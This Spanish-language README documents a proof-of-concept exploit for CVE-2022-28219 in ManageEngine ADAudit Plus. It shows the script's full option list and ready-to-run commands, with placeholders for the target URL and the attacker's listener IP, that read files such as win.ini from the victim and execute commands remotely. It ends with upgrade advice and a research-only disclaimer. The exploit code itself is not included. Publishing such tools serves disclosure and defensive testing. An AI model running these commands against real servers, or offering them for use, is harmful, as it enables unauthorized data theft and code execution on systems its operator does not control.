
PoC para ManageEngine ADAudit Plus CVE-2022-28219
POC para CVE-2022-28219 que afecta a versiones de ManageEngine ADAudit Plus anteriores a la 7060
Más detalles en nuestro blog: https://www.horizon3.ai/red-team-blog-cve-2022-28219
% python3 CVE-2022-28219.py -h
usage: CVE-2022-28219.py [-h] -t TARGET -l LHOST -d DOMAIN [-lhp HTTP_PORT] [-lfp FTP_PORT] [-f FILE] [-c COMMAND] [-u USER]
optional arguments:
-h, --help show this help message and exit
-t TARGET, --target TARGET
target URL with port
-l LHOST, --lhost LHOST
local bind IP
-d DOMAIN, --domain DOMAIN
fully qualified domain served by ADAudit Plus
-lhp HTTP_PORT, --http-port HTTP_PORT
local HTTP port to bind to
-lfp FTP_PORT, --ftp-port FTP_PORT
local FTP port to bind to
-f FILE, --file FILE get file or directory listing at given path, use forward slashes and don't include drive, e.g. /windows/win.ini or /users
-c COMMAND, --command COMMAND
command to execute, e.g. calc.exe
-u USER, --user USER user running ADAudit Plus app, useful for finding upload file quickly
Por ejemplo, para obtener el archivo c:\windows\win.ini:
python3 CVE-2022-28219.py -t <target_url> -l <attacker_ip> -d <target_fqdn> -f /windows/win.ini
O para ejecutar calc.exe en el objetivo:
python3 CVE-2022-28219.py -t <target_url> -l <attacker_ip> -d <target_fqdn> -c calc.exe
Nota: la recuperación de archivos y RCE requieren que ManageEngine ADAudit Plus se ejecute en Java runtime 8u121 o inferior. Esto será cierto la mayor parte del tiempo, ya que la versión predeterminada de Java runtime incluida con ADAudit Plus es 8u051.
Actualice a ManageEngine ADAudit Plus build 7060 o posterior.
Este software ha sido creado únicamente con fines de investigación académica y para el desarrollo de técnicas defensivas efectivas, y no está diseñado para ser utilizado para atacar sistemas excepto cuando esté explícitamente autorizado. Los mantenedores del proyecto no son responsables ni se hacen responsables por el mal uso del software. Úselo de manera responsable.